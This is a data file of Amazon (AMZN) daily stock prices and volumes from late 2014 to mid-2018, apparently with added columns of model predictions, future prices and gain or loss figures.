+2014-11-03,306.239990234375,308.010009765625,303.239990234375,305.7200012207031,305.7200012207031,3242500,AMZN,308.1783,335.6400146484375,29.920013427734375,0.0
+2014-11-05,303.010009765625,304.0,294.1600036621094,296.5199890136719,296.5199890136719,4674500,AMZN,296.23743,333.57000732421875,0.0,-37.050018310546875
+2014-11-06,296.69000244140625,297.0,292.2900085449219,296.6400146484375,296.6400146484375,3758100,AMZN,293.87567,338.6400146484375,0.0,-42.0
+2014-11-13,312.0,317.8900146484375,311.510009765625,316.4800109863281,316.4800109863281,3686400,AMZN,317.49194,312.6300048828125,-3.850006103515625,0.0
+2014-11-24,334.7799987792969,337.3900146484375,333.6000061035156,335.6400146484375,335.6400146484375,2754200,AMZN,344.73752,295.05999755859375,-40.58001708984375,0.0
+2014-12-05,316.79998779296875,316.92999267578125,310.8399963378906,312.6300048828125,312.6300048828125,3265200,AMZN,323.03268,312.0400085449219,-0.589996337890625,0.0
+2014-12-26,305.0,310.7799987792969,303.80999755859375,309.0899963378906,309.0899963378906,2893800,AMZN,304.72418,289.44000244140625,0.0,19.649993896484375
+2014-12-30,309.9100036621094,313.94000244140625,309.3399963378906,310.29998779296875,310.29998779296875,2093000,AMZN,315.06625,310.32000732421875,0.02001953125,0.0
+2014-12-31,311.54998779296875,312.9800109863281,310.010009765625,310.3500061035156,310.3500061035156,2048000,AMZN,313.8394,312.3900146484375,2.040008544921875,0.0
+2015-01-14,291.92999267578125,295.9100036621094,286.5,293.2699890136719,293.2699890136719,5538700,AMZN,298.33408,373.8900146484375,80.62002563476562,0.0
+2015-01-23,308.0799865722656,316.92999267578125,307.7200012207031,312.3900146484375,312.3900146484375,4496400,AMZN,320.12485,381.8299865722656,69.43997192382812,0.0
+2015-01-30,346.32000732421875,359.5,340.739990234375,354.5299987792969,354.5299987792969,23856100,AMZN,357.10022,380.1400146484375,25.610015869140625,0.0
+2015-02-03,360.2900085449219,367.82000732421875,360.2099914550781,363.54998779296875,363.54998779296875,6212600,AMZN,373.80917,385.3699951171875,21.82000732421875,0.0
+2015-02-13,378.4100036621094,383.0,377.010009765625,381.8299865722656,381.8299865722656,3475100,AMZN,392.42737,378.55999755859375,-3.269989013671875,0.0
+2015-02-20,378.6199951171875,383.70001220703125,375.8399963378906,383.6600036621094,383.6600036621094,3258000,AMZN,391.9417,370.5799865722656,-13.08001708984375,0.0
+2015-02-24,378.6499938964844,380.4800109863281,376.1600036621094,378.5899963378906,378.5899963378906,1920800,AMZN,385.23404,371.9200134277344,-6.66998291015625,0.0
+2015-02-26,384.07000732421875,389.3699951171875,383.2799987792969,384.79998779296875,384.79998779296875,2687100,AMZN,391.96332,373.239990234375,-11.55999755859375,0.0
+2015-03-02,380.8500061035156,385.8999938964844,379.4800109863281,385.6600036621094,385.6600036621094,2139200,AMZN,386.4343,375.1099853515625,-10.550018310546875,0.0
+2015-03-03,383.95001220703125,386.1000061035156,381.6000061035156,384.6099853515625,384.6099853515625,1946500,AMZN,387.11972,374.0899963378906,-10.519989013671875,0.0
+2015-03-20,376.2900085449219,379.3699951171875,375.9200134277344,378.489990234375,378.489990234375,3763600,AMZN,380.7097,382.3599853515625,3.8699951171875,0.0
+2015-03-26,369.5899963378906,371.3999938964844,365.6499938964844,367.3500061035156,367.3500061035156,2930000,AMZN,370.45703,375.55999755859375,8.209991455078125,0.0
+2015-03-31,373.239990234375,377.70001220703125,371.510009765625,372.1000061035156,372.1000061035156,2506100,AMZN,380.68973,389.79998779296875,17.699981689453125,0.0
+2015-04-01,372.1000061035156,373.1600036621094,368.3399963378906,370.260009765625,370.260009765625,2458100,AMZN,374.39157,389.989990234375,19.72998046875,0.0
+2015-04-02,370.5,373.2799987792969,369.0,372.25,372.25,1875300,AMZN,373.08786,445.1000061035157,72.85000610351568,0.0
+2015-04-24,439.0,452.6499938964844,439.0,445.1000061035156,445.1000061035156,17176900,AMZN,446.5023,426.0,-19.100006103515625,0.0
+2015-05-01,423.82000732421875,425.6400146484375,416.0,422.8699951171875,422.8699951171875,3565800,AMZN,426.456,427.6300048828125,4.760009765625,0.0
+2015-05-06,421.42999267578125,422.7200012207031,414.54998779296875,419.1000061035156,419.1000061035156,2552500,AMZN,425.6805,426.57000732421875,7.470001220703125,0.0
+2015-05-07,424.1499938964844,428.5,422.8500061035156,426.8800048828125,426.8800048828125,2766100,AMZN,431.33673,429.2300109863281,2.350006103515625,0.0
+2015-05-12,431.0799865722656,433.25,426.7099914550781,431.0199890136719,431.0199890136719,1947800,AMZN,435.34924,436.5899963378906,5.57000732421875,0.0
+2015-05-13,429.9800109863281,433.5299987792969,425.79998779296875,426.8699951171875,426.8699951171875,1996300,AMZN,429.04575,430.7799987792969,3.910003662109375,0.0
+2015-05-15,428.0,430.3999938964844,424.29998779296875,426.0,426.0,4240300,AMZN,431.98682,423.5,-2.5,0.0
+2015-05-20,420.6000061035156,427.1000061035156,418.3599853515625,423.8599853515625,423.8599853515625,2196200,AMZN,427.179,432.9700012207031,9.110015869140625,0.0
+2015-05-27,427.45001220703125,431.8500061035156,425.010009765625,431.4200134277344,431.4200134277344,2231100,AMZN,428.61948,427.80999755859375,0.0,3.610015869140625
+2015-06-03,434.3999938964844,438.3900146484375,432.75,436.5899963378906,436.5899963378906,2727900,AMZN,438.60645,440.8399963378906,4.25,0.0
+2015-06-04,434.3999938964844,436.760009765625,429.260009765625,430.7799987792969,430.7799987792969,2510800,AMZN,437.0613,440.1000061035156,9.32000732421875,0.0
+2015-06-05,429.6600036621094,430.79998779296875,426.5,426.95001220703125,426.95001220703125,1907900,AMZN,430.37454,438.1000061035156,11.149993896484375,0.0
+2015-06-08,425.6199951171875,426.79998779296875,421.42999267578125,423.5,423.5,2172500,AMZN,424.78696,429.8599853515625,6.3599853515625,0.0
+2015-06-30,434.20001220703125,435.57000732421875,430.4599914550781,434.0899963378906,434.0899963378906,2596900,AMZN,436.27432,488.2699890136719,54.17999267578125,0.0
+2015-07-17,477.70001220703125,485.4200134277344,477.25,483.010009765625,483.010009765625,4932200,AMZN,483.38794,522.6199951171875,39.6099853515625,0.0
+2015-07-31,539.0900268554688,542.8400268554688,534.52001953125,536.1500244140625,536.1500244140625,3025600,AMZN,548.9812,494.4700012207031,-41.680023193359375,0.0
+2015-08-03,537.4500122070312,540.4400024414062,529.3599853515625,535.030029296875,535.030029296875,3014200,AMZN,548.9944,463.3699951171875,-71.6600341796875,0.0
+2015-08-14,528.25,534.1099853515625,528.25,531.52001953125,531.52001953125,1994800,AMZN,537.93036,499.00000000000006,-32.52001953124994,0.0
+2015-08-17,531.2899780273438,538.739990234375,527.1199951171875,535.219970703125,535.219970703125,2581700,AMZN,537.44995,517.5399780273438,-17.67999267578125,0.0
+2015-09-01,499.1400146484375,510.0,493.42999267578125,496.5400085449219,496.5400085449219,3864500,AMZN,485.82162,536.0700073242188,0.0,-39.529998779296875
+2015-09-03,514.5,515.8400268554688,502.57000732421875,504.7200012207031,504.7200012207031,3149700,AMZN,511.6589,524.25,19.529998779296875,0.0
+2015-09-11,521.0700073242188,529.4400024414062,520.6099853515625,529.4400024414062,529.4400024414062,3227900,AMZN,527.90594,532.5399780273438,0.0,-3.0999755859375
+2015-10-05,536.989990234375,545.9099731445312,536.0,543.6799926757812,543.6799926757812,3391400,AMZN,546.8617,608.6099853515625,64.92999267578125,0.0
+2015-10-15,547.75,563.0,547.0,562.4400024414062,562.4400024414062,4937000,AMZN,556.8905,655.6500244140625,0.0,-93.21002197265625
+2015-10-26,602.2999877929688,609.8499755859375,596.2899780273438,608.6099853515625,608.6099853515625,4269700,AMZN,633.4234,647.8099975585938,39.20001220703125,0.0
+2015-11-03,629.530029296875,629.8900146484375,622.0,625.3099975585938,625.3099975585938,3246900,AMZN,634.8285,671.1500244140625,45.84002685546875,0.0
+2015-11-17,650.6500244140625,653.25,641.0,643.2999877929688,643.2999877929688,4320200,AMZN,655.7055,664.7899780273438,21.489990234375,0.0
+2015-11-20,667.9400024414062,668.8699951171875,657.5700073242188,668.4500122070312,668.4500122070312,3896100,AMZN,678.044,657.9099731445312,-10.5400390625,0.0
+2015-11-23,671.5,682.77001953125,670.1199951171875,678.989990234375,678.989990234375,4385100,AMZN,681.72845,658.6400146484375,-20.3499755859375,0.0
+2015-11-27,680.7999877929688,680.989990234375,672.0999755859375,673.260009765625,673.260009765625,1966800,AMZN,682.0659,664.1400146484375,-9.1199951171875,0.0
+2015-12-03,679.4400024414062,682.7899780273438,661.47998046875,666.25,666.25,5064700,AMZN,681.80133,662.7899780273438,-3.46002197265625,0.0
+2015-12-08,663.1300048828125,679.989990234375,659.7899780273438,677.3300170898438,677.3300170898438,3651900,AMZN,679.81335,689.0700073242188,11.739990234375,0.0
+2015-12-11,651.22998046875,657.8800048828125,639.6199951171875,640.1500244140625,640.1500244140625,5474400,AMZN,652.97675,633.7899780273438,-6.36004638671875,0.0
+2015-12-14,641.75,658.5900268554688,635.27001953125,657.9099731445312,657.9099731445312,4329700,AMZN,652.11914,632.6500244140625,0.0,25.25994873046875
+2015-12-15,665.030029296875,671.5,657.3499755859375,658.6400146484375,658.6400146484375,4753400,AMZN,670.39014,607.9400024414062,-50.70001220703125,0.0
+2015-12-16,663.5599975585938,677.3499755859375,659.3200073242188,675.77001953125,675.77001953125,3964500,AMZN,682.90674,607.0499877929688,-68.72003173828125,0.0
+2015-12-22,666.8300170898438,668.489990234375,659.260009765625,663.1500244140625,663.1500244140625,2667800,AMZN,667.3375,593.0,-70.1500244140625,0.0
+2015-12-23,666.5,666.5999755859375,656.6300048828125,663.7000122070312,663.7000122070312,2722900,AMZN,668.092,570.1799926757812,-93.52001953125,0.0
+2015-12-24,663.3499755859375,664.6799926757812,660.5999755859375,662.7899780273438,662.7899780273438,1091200,AMZN,668.77356,574.47998046875,-88.30999755859375,0.0
+2016-01-08,619.6599731445312,624.1400146484375,606.0,607.0499877929688,607.0499877929688,5512900,AMZN,624.90656,574.8099975585938,-32.239990234375,0.0
+2016-01-19,577.0900268554688,584.0,566.4500122070312,574.47998046875,574.47998046875,4807200,AMZN,574.7745,482.0700073242188,-92.4099731445312,0.0
+2016-01-20,564.3599853515625,578.4500122070312,547.1799926757812,571.77001953125,571.77001953125,7966400,AMZN,568.6783,490.4800109863281,0.0,81.29000854492188
+2016-02-01,578.1500244140625,581.7999877929688,570.3099975585938,574.8099975585938,574.8099975585938,6355100,AMZN,577.6213,552.9400024414062,-21.8699951171875,0.0
+2016-02-02,570.0,571.5599975585938,550.0900268554688,552.0999755859375,552.0999755859375,6312000,AMZN,564.2649,554.0399780273438,1.94000244140625,0.0
+2016-02-18,541.1900024414062,541.2000122070312,523.72998046875,525.0,525.0,4735000,AMZN,523.918,558.9299926757812,0.0,-33.92999267578125
+2016-03-02,581.75,585.0,573.7000122070312,580.2100219726562,580.2100219726562,4582200,AMZN,593.74286,569.6300048828125,-10.58001708984375,0.0
+2016-03-04,581.0700073242188,581.4000244140625,571.0700073242188,575.1400146484375,575.1400146484375,3416500,AMZN,585.7012,579.8699951171875,4.72998046875,0.0
+2016-03-15,571.0,581.52001953125,567.0,577.02001953125,577.02001953125,3876800,AMZN,581.4499,602.0800170898438,25.05999755859375,0.0
+2016-03-29,580.1500244140625,595.8499755859375,576.5,593.8599853515625,593.8599853515625,4392600,AMZN,587.8289,627.9000244140625,0.0,-34.0400390625
+2016-03-30,596.7100219726562,603.239990234375,595.0,598.6900024414062,598.6900024414062,3890500,AMZN,598.6914,632.989990234375,34.29998779296875,0.0
+2016-03-31,599.280029296875,600.75,592.2100219726562,593.6400146484375,593.6400146484375,2681800,AMZN,600.08545,631.0,37.3599853515625,0.0
+2016-04-06,587.52001953125,602.3900146484375,587.5,602.0800170898438,602.0800170898438,2849900,AMZN,600.5184,606.5700073242188,0.0,-4.489990234375
+2016-04-12,598.4000244140625,604.0599975585938,592.3099975585938,603.1699829101562,603.1699829101562,2641100,AMZN,608.6814,671.3200073242188,68.1500244140625,0.0
+2016-04-20,630.0,636.5499877929688,623.0,632.989990234375,632.989990234375,2609400,AMZN,637.56854,713.22998046875,80.239990234375,0.0
+2016-05-18,689.5599975585938,702.5399780273438,688.760009765625,697.4500122070312,697.4500122070312,4283200,AMZN,708.40875,727.6500244140625,30.20001220703125,0.0
+2016-05-20,701.0499877929688,707.239990234375,700.0,702.7999877929688,702.7999877929688,2916200,AMZN,716.98737,715.239990234375,12.44000244140625,0.0
+2016-06-01,720.9000244140625,726.4299926757812,718.219970703125,719.4400024414062,719.4400024414062,3263100,AMZN,727.3351,710.5999755859375,-8.84002685546875,0.0
+2016-06-02,720.969970703125,728.280029296875,715.5,728.239990234375,728.239990234375,3026600,AMZN,730.7729,722.0800170898438,-6.15997314453125,0.0
+2016-06-14,712.3300170898438,720.8099975585938,712.27001953125,719.2999877929688,719.2999877929688,2506900,AMZN,725.84015,737.6099853515625,18.30999755859375,0.0
+2016-06-17,718.1900024414062,718.2000122070312,699.1799926757812,706.3900146484375,706.3900146484375,5897800,AMZN,717.1049,753.780029296875,47.3900146484375,0.0
+2016-06-20,713.5,721.3099975585938,710.8099975585938,714.010009765625,714.010009765625,3677200,AMZN,723.22974,748.2100219726562,34.20001220703125,0.0
+2016-06-27,692.010009765625,696.8200073242188,682.1199951171875,691.3599853515625,691.3599853515625,5568000,AMZN,693.87317,739.9500122070312,48.59002685546875,0.0
+2016-06-28,700.0,708.0,698.1699829101562,707.9500122070312,707.9500122070312,4037000,AMZN,709.719,745.719970703125,37.76995849609375,0.0
+2016-06-30,717.2000122070312,719.3699951171875,712.5399780273438,715.6199951171875,715.6199951171875,2855100,AMZN,729.076,744.8599853515625,29.239990234375,0.0
+2016-07-08,740.1400146484375,746.0999755859375,738.0,745.8099975585938,745.8099975585938,3429200,AMZN,749.9564,758.8099975585938,13.0,0.0
+2016-07-13,746.760009765625,756.8699951171875,741.25,742.6300048828125,742.6300048828125,4142300,AMZN,757.24255,754.6400146484375,12.010009765625,0.0
+2016-07-15,746.5499877929688,746.5499877929688,734.0499877929688,735.4400024414062,735.4400024414062,3121400,AMZN,752.12396,765.97998046875,30.53997802734375,0.0
+2016-07-21,747.5,749.3599853515625,742.7899780273438,744.4299926757812,744.4299926757812,2317100,AMZN,759.7484,771.239990234375,26.80999755859375,0.0
+2016-07-27,737.969970703125,740.9400024414062,733.8599853515625,736.6699829101562,736.6699829101562,2913100,AMZN,744.6397,764.6300048828125,27.96002197265625,0.0
+2016-09-15,762.0,770.8699951171875,757.5800170898438,769.6900024414062,769.6900024414062,3034000,AMZN,778.6104,841.6599731445312,71.969970703125,0.0
+2016-09-16,773.280029296875,780.4600219726562,771.6599731445312,778.52001953125,778.52001953125,5499200,AMZN,786.4011,839.4299926757812,60.90997314453125,0.0
+2016-09-23,803.1300048828125,807.75,802.1199951171875,805.75,805.75,2353500,AMZN,816.35895,822.9600219726562,17.21002197265625,0.0
+2016-09-30,832.6099853515625,839.9500122070312,832.4000244140625,837.3099975585938,837.3099975585938,4430600,AMZN,851.6223,818.989990234375,-18.32000732421875,0.0
+2016-10-05,838.0,845.6699829101562,836.1199951171875,844.3599853515625,844.3599853515625,3469100,AMZN,856.1239,822.5900268554688,-21.76995849609375,0.0
+2016-10-18,822.1099853515625,823.260009765625,815.02001953125,817.6500244140625,817.6500244140625,2512500,AMZN,833.42316,787.75,-29.9000244140625,0.0
+2016-10-19,820.4000244140625,820.6699829101562,815.1699829101562,817.6900024414062,817.6900024414062,2090700,AMZN,833.3865,771.8800048828125,-45.80999755859375,0.0
+2016-10-28,782.0,789.489990234375,774.6099853515625,776.3200073242188,776.3200073242188,10841100,AMZN,792.2837,760.1599731445312,-16.1600341796875,0.0
+2016-11-02,783.9299926757812,784.75,763.5499877929688,765.5599975585938,765.5599975585938,5026500,AMZN,795.6572,780.1199951171875,14.55999755859375,0.0
+2016-11-11,735.72998046875,743.260009765625,728.9000244140625,739.010009765625,739.010009765625,6622800,AMZN,743.5859,759.3599853515625,20.3499755859375,0.0
+2016-11-14,745.510009765625,746.0,710.0999755859375,719.0700073242188,719.0700073242188,7321300,AMZN,737.3752,764.719970703125,45.64996337890625,0.0
+2016-11-21,766.0,780.3499755859375,765.1099853515625,780.0,780.0,4614600,AMZN,775.28723,774.3400268554688,0.0,5.65997314453125
+2016-11-22,788.1699829101562,792.4000244140625,781.0,785.3300170898438,785.3300170898438,5311300,AMZN,788.7096,768.8200073242188,-16.510009765625,0.0
+2016-12-07,764.5499877929688,770.4199829101562,755.8200073242188,770.4199829101562,770.4199829101562,3684900,AMZN,781.8735,765.1500244140625,-5.26995849609375,0.0
+2016-12-23,764.5499877929688,766.5,757.989990234375,760.5900268554688,760.5900268554688,1981600,AMZN,770.00476,807.47998046875,46.88995361328125,0.0
+2016-12-28,776.25,780.0,770.5,772.1300048828125,772.1300048828125,3301000,AMZN,783.26117,808.3300170898438,36.20001220703125,0.0
+2016-12-29,772.4000244140625,773.4000244140625,760.8499755859375,765.1500244140625,765.1500244140625,3158300,AMZN,779.94904,817.8800048828125,52.72998046875,0.0
+2017-01-03,757.9199829101562,758.760009765625,747.7000122070312,753.6699829101562,753.6699829101562,3521100,AMZN,761.5802,836.52001953125,82.85003662109375,0.0
+2017-01-10,796.5999755859375,798.0,789.5399780273438,795.9000244140625,795.9000244140625,2558400,AMZN,808.30865,832.3499755859375,36.449951171875,0.0
+2017-01-18,809.5,811.72998046875,804.27001953125,807.47998046875,807.47998046875,2354200,AMZN,822.3693,819.7100219726562,12.23004150390625,0.0
+2017-02-01,829.2100219726562,833.780029296875,824.9400024414062,832.3499755859375,832.3499755859375,3850200,AMZN,842.8123,852.1900024414062,19.84002685546875,0.0
+2017-02-07,809.3099975585938,816.1599731445312,807.5,812.5,812.5,3466100,AMZN,829.634,853.0800170898438,40.58001708984375,0.0
+2017-03-02,853.0800170898438,854.8200073242188,847.280029296875,848.9099731445312,848.9099731445312,2132100,AMZN,869.5848,847.3800048828125,-1.52996826171875,0.0
+2017-03-15,854.3300170898438,854.4500122070312,847.1099853515625,852.969970703125,852.969970703125,2562200,AMZN,863.8077,909.2800292968749,56.310058593749886,0.0
+2017-03-16,855.2999877929688,855.5,850.510009765625,853.4199829101562,853.4199829101562,1842300,AMZN,866.54004,898.2800292968749,44.860046386718636,0.0
+2017-03-22,840.4299926757812,849.3699951171875,839.0499877929688,848.0599975585938,848.0599975585938,2658700,AMZN,860.0916,896.22998046875,48.16998291015625,0.0
+2017-04-06,913.7999877929688,917.1900024414062,894.489990234375,898.280029296875,898.280029296875,6344100,AMZN,927.02936,924.9899902343749,26.709960937499886,0.0
+2017-04-17,887.5,902.3800048828125,887.5,901.989990234375,901.989990234375,2854700,AMZN,913.8813,949.0399780273438,47.04998779296875,0.0
+2017-04-21,902.6699829101562,903.6500244140625,896.77001953125,898.530029296875,898.530029296875,2420500,AMZN,918.035,961.3499755859375,62.8199462890625,0.0
+2017-04-25,907.0399780273438,909.47998046875,903.0,907.6199951171875,907.6199951171875,3380600,AMZN,924.49567,966.0700073242188,58.45001220703125,0.0
+2017-05-03,946.0,946.0,935.9000244140625,941.030029296875,941.030029296875,3582700,AMZN,964.6199,980.3499755859374,39.319946289062386,0.0
+2017-05-11,945.1099853515625,950.2899780273438,940.780029296875,947.6199951171875,947.6199951171875,2194100,AMZN,969.98737,1006.72998046875,59.1099853515625,0.0
+2017-05-15,958.72998046875,963.1500244140625,956.0599975585938,957.969970703125,957.969970703125,4270600,AMZN,980.7132,1003.0000000000001,45.030029296875114,0.0
+2017-05-17,954.7000122070312,960.4000244140625,944.1199951171875,944.760009765625,944.760009765625,5145600,AMZN,976.6227,1010.2700195312501,65.51000976562511,0.0
+2017-05-19,962.8400268554688,968.9199829101562,959.719970703125,959.8400268554688,959.8400268554688,3972100,AMZN,984.6334,964.9099731445312,5.0699462890625,0.0
+2017-05-22,964.0,971.3800048828125,962.9000244140625,970.6699829101562,970.6699829101562,2642200,AMZN,993.42993,980.7899780273436,10.119995117187386,0.0
+2017-06-07,1005.9500122070312,1010.25,1002.0,1010.0700073242188,1010.0700073242188,2823000,AMZN,1034.8248,990.3300170898438,-19.739990234375,0.0
+2017-06-08,1012.0599975585938,1013.6099853515625,1006.1099853515625,1010.27001953125,1010.27001953125,2767900,AMZN,1036.6255,975.9299926757811,-34.340026855468864,0.0
+2017-06-14,988.5900268554688,990.3400268554688,966.7100219726562,976.469970703125,976.469970703125,3974900,AMZN,1016.76746,965.1400146484376,-11.329956054687386,0.0
+2017-06-26,1008.5,1009.7999877929688,992.0,993.97998046875,993.97998046875,3386200,AMZN,1020.9832,1024.449951171875,30.469970703125,0.0
+2017-06-30,980.1199951171875,983.469970703125,967.6099853515625,968.0,968.0,3390300,AMZN,1000.79315,1038.949951171875,70.949951171875,0.0
+2017-07-06,964.6599731445312,974.4000244140625,959.02001953125,965.1400146484375,965.1400146484375,3259600,AMZN,990.613,1046.0,80.8599853515625,0.0
+2017-07-10,985.0,999.4400024414062,983.5,996.469970703125,996.469970703125,3546300,AMZN,1010.984,987.7800292968751,-8.689941406249886,0.0
+2017-07-17,1004.6900024414062,1014.75,1003.8099975585938,1010.0399780273438,1010.0399780273438,3712600,AMZN,1026.4946,992.27001953125,-17.76995849609375,0.0
+2017-07-25,1038.050048828125,1043.3299560546875,1032.47998046875,1039.8699951171875,1039.8699951171875,2447600,AMZN,1066.1461,982.739990234375,-57.1300048828125,0.0
+2017-07-28,1012.1400146484375,1032.8499755859375,1001.0,1020.0399780273438,1020.0399780273438,7709400,AMZN,1061.6217,958.469970703125,-61.57000732421875,0.0
+2017-08-02,1001.77001953125,1003.2100219726562,981.72998046875,995.8900146484375,995.8900146484375,4070000,AMZN,1035.3513,958.0000000000001,-37.890014648437386,0.0
+2017-08-04,989.6799926757812,991.6699829101562,982.0,987.5800170898438,987.5800170898438,2730300,AMZN,1023.9081,945.260009765625,-42.32000732421875,0.0
+2017-08-16,981.6500244140625,986.4600219726562,973.219970703125,978.1799926757812,978.1799926757812,3132100,AMZN,1002.6912,979.4699707031251,1.2899780273438637,0.0
+2017-08-25,956.0,957.6199951171875,944.0999755859375,945.260009765625,945.260009765625,3324800,AMZN,970.449,974.1900024414062,28.92999267578125,0.0
+2017-08-29,940.0,956.0,936.3300170898438,954.0599975585938,954.0599975585938,2874300,AMZN,966.9695,973.2100219726562,19.1500244140625,0.0
+2017-08-30,958.4400024414062,969.4099731445312,956.9099731445312,967.5900268554688,967.5900268554688,2904600,AMZN,979.4603,964.6500244140626,-2.9400024414061363,0.0
+2017-09-06,968.3200073242188,971.8400268554688,960.5999755859375,967.7999877929688,967.7999877929688,2129900,AMZN,984.6415,950.8699951171875,-16.92999267578125,0.0
+2017-09-08,979.0999755859375,979.8800048828125,963.469970703125,965.9000244140625,965.9000244140625,2605300,AMZN,993.86914,961.3499755859375,-4.550048828125,0.0
+2017-09-12,983.27001953125,984.6699829101562,975.52001953125,982.5800170898438,982.5800170898438,2481100,AMZN,1003.508,957.0999755859374,-25.480041503906364,0.0
+2017-09-21,971.3099975585938,971.7000122070312,962.02001953125,964.6500244140625,964.6500244140625,2337600,AMZN,994.1028,1000.9299926757812,36.27996826171875,0.0
+2017-09-25,949.3099975585938,949.4199829101562,932.8900146484375,939.7899780273438,939.7899780273438,5124000,AMZN,969.1087,1006.3400268554686,66.55004882812489,0.0
+2017-09-26,945.489990234375,948.6300048828125,931.75,938.5999755859375,938.5999755859375,3564800,AMZN,965.02264,1009.1300048828126,70.53002929687511,0.0
+2017-09-29,960.1099853515625,964.8300170898438,958.3800048828125,961.3499755859375,961.3499755859375,2543800,AMZN,983.19696,982.9099731445312,21.55999755859375,0.0
+2017-10-09,993.239990234375,998.5,987.5,990.989990234375,990.989990234375,2938600,AMZN,1011.68066,1110.8499755859375,119.8599853515625,0.0
+2017-10-12,996.8099975585938,1008.4400024414062,992.4000244140625,1000.9299926757812,1000.9299926757812,4067300,AMZN,1018.1456,1094.219970703125,93.28997802734375,0.0
+2017-10-24,969.0,979.8499755859375,965.0,975.9000244140625,975.9000244140625,2723900,AMZN,1002.2682,1136.8399658203125,160.93994140625,0.0
+2017-10-30,1095.010009765625,1122.7900390625,1093.56005859375,1110.8499755859375,1110.8499755859375,6613100,AMZN,1139.3768,1126.31005859375,15.4600830078125,0.0
+2017-11-24,1160.699951171875,1186.8399658203125,1160.699951171875,1186.0,1186.0,3528000,AMZN,1207.1018,1179.1400146484375,-6.8599853515625,0.0
+2017-11-27,1202.6600341796875,1213.4100341796875,1191.1500244140625,1195.8299560546875,1195.8299560546875,6744000,AMZN,1229.3397,1190.5799560546875,-5.25,0.0
+2017-11-28,1204.8800048828125,1205.3399658203125,1188.52001953125,1193.5999755859375,1193.5999755859375,4559400,AMZN,1239.2153,1187.3800048828125,-6.219970703125,0.0
+2017-12-06,1137.989990234375,1155.8900146484375,1136.0799560546875,1152.3499755859375,1152.3499755859375,2853300,AMZN,1195.6307,1186.0999755859375,33.75,0.0
+2017-12-08,1170.4000244140625,1172.7900390625,1157.0999755859375,1162.0,1162.0,3050100,AMZN,1210.3862,1189.010009765625,27.010009765625,0.0
+2017-12-12,1166.510009765625,1173.5999755859375,1161.6099853515625,1165.0799560546875,1165.0799560546875,2235900,AMZN,1208.8861,1209.5899658203125,44.510009765625,0.0
+2017-12-20,1190.5,1191.0,1176.0,1177.6199951171875,1177.6199951171875,2371200,AMZN,1225.6334,1305.199951171875,127.5799560546875,0.0
+2017-12-29,1182.3499755859375,1184.0,1167.5,1169.469970703125,1169.469970703125,2688400,AMZN,1220.9016,1362.5400390625,193.070068359375,0.0
+2018-01-02,1172.0,1190.0,1170.510009765625,1189.010009765625,1189.010009765625,2694500,AMZN,1221.4924,1357.510009765625,168.5,0.0
+2018-01-04,1205.0,1215.8699951171875,1204.6600341796875,1209.5899658203125,1209.5899658203125,3022100,AMZN,1247.0526,1402.050048828125,192.4600830078125,0.0
+2018-01-18,1293.949951171875,1304.5999755859375,1284.02001953125,1293.3199462890625,1293.3199462890625,4026900,AMZN,1347.9106,1350.5,57.1800537109375,0.0
+2018-02-01,1445.0,1459.8800048828125,1385.1400146484375,1390.0,1390.0,9113800,AMZN,1477.6254,1500.0,110.0,0.0
+2018-02-02,1477.3900146484375,1498.0,1414.0,1429.949951171875,1429.949951171875,11125700,AMZN,1492.6118,1521.949951171875,92.0,0.0
+2018-02-21,1485.0,1503.489990234375,1478.9200439453125,1482.9200439453125,1482.9200439453125,6304400,AMZN,1531.1211,1591.0,108.0799560546875,0.0
+2018-02-23,1495.3399658203125,1500.0,1486.5,1500.0,1500.0,4418100,AMZN,1545.2421,1571.6800537109375,71.6800537109375,0.0
+2018-02-26,1509.199951171875,1522.8399658203125,1507.0,1521.949951171875,1521.949951171875,4955000,AMZN,1556.4409,1544.9300537109375,22.9801025390625,0.0
+2018-03-01,1513.5999755859375,1518.489990234375,1465.0,1493.449951171875,1493.449951171875,6835200,AMZN,1553.8575,1544.9200439453125,51.4700927734375,0.0
+2018-03-02,1469.0999755859375,1501.050048828125,1455.010009765625,1500.25,1500.25,6587600,AMZN,1544.5504,1495.56005859375,-4.68994140625,0.0
+2018-03-13,1615.9599609375,1617.5400390625,1578.010009765625,1588.1800537109375,1588.1800537109375,6531900,AMZN,1632.2616,1410.5699462890625,-177.610107421875,0.0
+2018-03-15,1595.0,1596.9100341796875,1578.1099853515625,1582.3199462890625,1582.3199462890625,4069700,AMZN,1632.3265,1405.22998046875,-177.0899658203125,0.0
+2018-03-21,1586.449951171875,1590.0,1563.1700439453125,1581.8599853515625,1581.8599853515625,4750800,AMZN,1622.8016,1448.5,-133.3599853515625,0.0
+2018-03-22,1565.469970703125,1573.8499755859375,1542.4000244140625,1544.9200439453125,1544.9200439453125,6320600,AMZN,1615.1439,1430.7900390625,-114.1300048828125,0.0
+2018-03-26,1530.0,1556.989990234375,1499.25,1555.8599853515625,1555.8599853515625,5624700,AMZN,1597.1077,1503.8299560546875,-52.030029296875,0.0
+2018-04-04,1358.239990234375,1415.3900146484375,1352.8800048828125,1410.5699462890625,1410.5699462890625,6982300,AMZN,1501.8882,1460.1700439453125,49.60009765625,0.0
+2018-04-13,1449.1400146484375,1459.780029296875,1424.52001953125,1430.7900390625,1430.7900390625,3685300,AMZN,1509.406,1580.949951171875,150.159912109375,0.0
+2018-04-18,1514.6500244140625,1533.800048828125,1504.1099853515625,1527.8399658203125,1527.8399658203125,5227500,AMZN,1556.9545,1608.0,80.1600341796875,0.0
+2018-04-25,1458.0,1469.989990234375,1415.02001953125,1460.1700439453125,1460.1700439453125,6587300,AMZN,1528.8976,1587.280029296875,127.1099853515625,0.0
+2018-05-04,1562.449951171875,1584.9000244140625,1562.18994140625,1580.949951171875,1580.949951171875,3443600,AMZN,1617.0658,1610.1500244140625,29.2000732421875,0.0
+2018-05-10,1608.47998046875,1615.5999755859375,1603.43994140625,1609.0799560546875,1609.0799560546875,2817500,AMZN,1644.266,1641.5400390625,32.4600830078125,0.0
+2018-05-15,1587.800048828125,1587.800048828125,1565.219970703125,1576.1199951171875,1576.1199951171875,5077500,AMZN,1626.5192,1695.75,119.6300048828125,0.0
+2018-05-16,1577.5,1594.4300537109375,1576.6700439453125,1587.280029296875,1587.280029296875,2570600,AMZN,1627.695,1689.300048828125,102.02001953125,0.0
+2018-05-17,1580.56005859375,1594.0400390625,1573.0,1581.760009765625,1581.760009765625,2147600,AMZN,1627.1492,1683.989990234375,102.22998046875,0.0
+2018-05-25,1603.0,1614.1199951171875,1600.449951171875,1610.1500244140625,1610.1500244140625,2698400,AMZN,1645.3075,1723.7900390625,113.6400146484375,0.0
